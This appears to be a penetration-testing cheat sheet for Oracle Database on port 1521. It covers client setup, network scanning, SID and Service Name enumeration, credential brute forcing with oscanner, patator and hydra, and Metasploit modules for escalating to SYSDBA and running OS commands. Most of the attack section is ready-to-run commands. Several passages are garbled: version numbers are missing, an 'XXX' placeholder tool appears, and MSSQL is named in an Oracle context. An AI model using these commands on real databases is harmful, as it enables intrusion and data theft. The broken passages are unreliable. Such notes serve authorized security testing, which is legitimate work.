1521 - ORACLE_DB


Oracle Database (commonly referred to as Oracle RDBMS or simply as Oracle) is a multi-model database management system produced and marketed by Oracle Corporation.

The latest release version is Oracle Database 18c (February 2018), but many 10g and 11g are still in use.

SID vs Service Name

To connect to an Oracle database a SID or a Service Name is required. The SID is an unique name of the instance (eg the oracle process running on the server), while the Service Name is an alias to one or multiples instances.

The main purpose of this system is to manage an unique Service Name for multiples instances in a cluster of servers. Multiple services names can also be specified for a same SID in order to distinguish among different uses of the same database.

Oracle client installation

  1. Download the last version of the Oracle Instant Client from the official Oracle website. As of December 2018, the last version is and is backwards compatible with Oracle Database 11.2 or later.

The following packages are required for some of the techniques and tools presented in the present note:

- instantclient-basic-linux.\*.zip
- instantclient-sqlplus-linux.\*.zip
- instantclient-sdk-linux.\*.zip

2. Unzip the packages into a single directory such as /opt/oracle

cd /opt && mkdir oracle
unzip instantclient-*
  1. Prior to version 18.3, create the appropriate links for the version of Instant Client. For example:

    cd /opt/oracle/instantclient_12_2
    ln -s libclntsh.so.12.1 libclntsh.so
    ln -s libocci.so.12.1 libocci.so
  2. Install the libaio package. This is called libaio1 on some Linux distributions.

    # Kali Linux
    apt-get install libaio1
  3. Configure the needed environment variables by adding the following definition to the appropriate configuration file (~/.bashrc, ~/.zshrc, etc.):

export PATH=$PATH:/opt/oracle/instantclient_18_3
export SQLPATH=/opt/oracle/instantclient_18_3
export TNS_ADMIN=/opt/oracle/instantclient_18_3
export LD_LIBRARY_PATH=/opt/oracle/instantclient_18_3
export ORACLE_HOME=/opt/oracle/instantclient_18_3

Network scan

Nmap can be used to scan the network for exposed Oracle databases. Note that while the default port for an Oracle database instance is 1521, it is common to find multiples instances on a server, running on various ports.

nmap -v -p 1521 -oA nmap_oracle_db <RANGE | CIDR>

TNS listener version

Nmap and the Metasploit module auxiliary/scanner/oracle/tnslsnr_version can be used to retrieve the version of the TNS listener in use:

nmap -v -p 1521 -A <HOST | IP>
msf> use auxiliary/scanner/oracle/tnslsnr_version

SID and Service Name retrieval

The SID or Service Name of the database must be specified when trying to authenticate to an Oracle database.

On some older version of TNS listeners, SID and Service Name can be directly enumerated. Some third parties components may also be used to enumerate SID and Service Name. A vulnerable web application or an access to the file system may be leveraged to retrieve database SID or Service Name.

If none of the techniques described above apply, the TNS listener SID must be brute forced.

The Oscanner tool can be used on Linux to conduct basic SID enumeration as well as default / common credentials brute forcing on retrieved SID:

oscanner -s <HOST | IP> -P <PORT>

More exhaustive SID retrieval techniques and tools:


TNS < Oracle


Direct query to the unprotected listener to enumerate SID.

Oracle Enterprise Manager Control Default port 1158


Access to the /em/console page of the manager may contain a login form with the database Service Name value.

Oracle XML DB (XDB) Default port 8080


If an Oracle XML DB (XDB) service is exposed on the server and credentials could be obtained (default are scott:tiger before Oracle, make authenticated request to retrieve the SID from the Oracle XML DB httpd server.

Oracle Application Server Default port 5560

http://<HOST>:5560/servlets/Spy auxiliary/scanner/oracle/spy_sid

The default servlet Spy may reveal a Service Name value.


auxiliary/scanner/oracle/sid_brute python patator.py oracle_login host=<HOST> sid=FILE0 0=<WORDLIST_SID> -x ignore:code=ORA-12505 python patator.py oracle_login host=<HOST> service_name=FILE0 0=<WORDLIST_SERVICE_NAMES> -x ignore:code=ORA-12514 hydra -L <WORDLIST_SID> -s <PORT> <HOST> oracle-sid

SID bruteforce if others methods are not available. Metasploit include a list of default / common SID. The hostname of the server, and variations of the hostname, should be tried as well.

SAP environment

http://<HOST>:8000/sap/bc/gui/sap/its/webgui http://<HOST>:8000/sap/bc/gui/sap/its/DONOT_EXIST404 rfcping ashost=<HOST> sysnr=00 Limited SID brute forcing

Multiple ways exist to enumerate an Oracle Database SID or Service Name integrated to a SAP environment. The SAP Web Application Server or the SAP RFC endpoint may leak SID or Service Name. Moreover, as Oracle SID integrated in a SAP environment are limited to Latin symbols and must be 3 or less symbols in length, a limited brute force can be conducted.

Vulnerable Web application

Web stack trace error messages

SQL error messages from invalid queries using the Web application may leak the database SID or Service Name.

File system access

Web application LFI or directory listing FTP or SMB access ...

An access to the file system may be leveraged to retrive the Oracle service configuration file tnsnames.ora stored in the $ORACLE-home/NETWORK/admin folder.

Authentication brute force

The Oscanner tool can be used to conduct a default / common credentials brute force:

oscanner -s <HOST | IP> -P <PORT>

The oracle_login_password.txt from the fuzzdb project is a combo file of default / common usernames and passwords.

The patator tool can be used to brute force credentials on the service:

# Using oracle_login_password combo file
patator.py oracle_login host=<HOST | IP> (sid=<SID> | service_name=<SERVICE_NAME>) user=COMBO00 password=COMBO01 0=oracle_login_password.txt -x ignore:code=ORA-01017

# Using two different wordlists
patator.py oracle_login host=<HOST | IP> (sid=<SID> | service_name=<SERVICE_NAME>) user=FILE0 password=FILE1 0=<WORDLIST_USERS> 1=<WORDLIST_PASSWORDS> -x ignore:code=ORA-01017

Error messages may be returned if the credentials tested are valid:

connection to sys should be as sysdba or sysope
Connections to this server version are no longer supported

Database privilege escalation

Multiples Metasploit modules can be used to exploit Oracle vulnerabilities to elevate privileges from a low privileged user to SYSDBA on outdated Oracle Database Server.

# Oracle Database Server,,, and
msf> use auxiliary/sqli/oracle/dbms_cdc_publish3

# Up to Oracle Database Server
msf> use auxiliary/sqli/oracle/lt_findricset_cursor

# Older Oracle Database Server versions
msf> use auxiliary/sqli/oracle/*

Query the database

The XXX CLI tool can be used to make queries to the database:


The DBeaver GUI tool can be used to simply access the database content without knowing the proper MSSQL syntax.

OS access and commands execution

msf> use auxiliary/sqli/oracle/jvm_os_code_11g
msf> use auxiliary/sqli/oracle/jvm_os_code_10g

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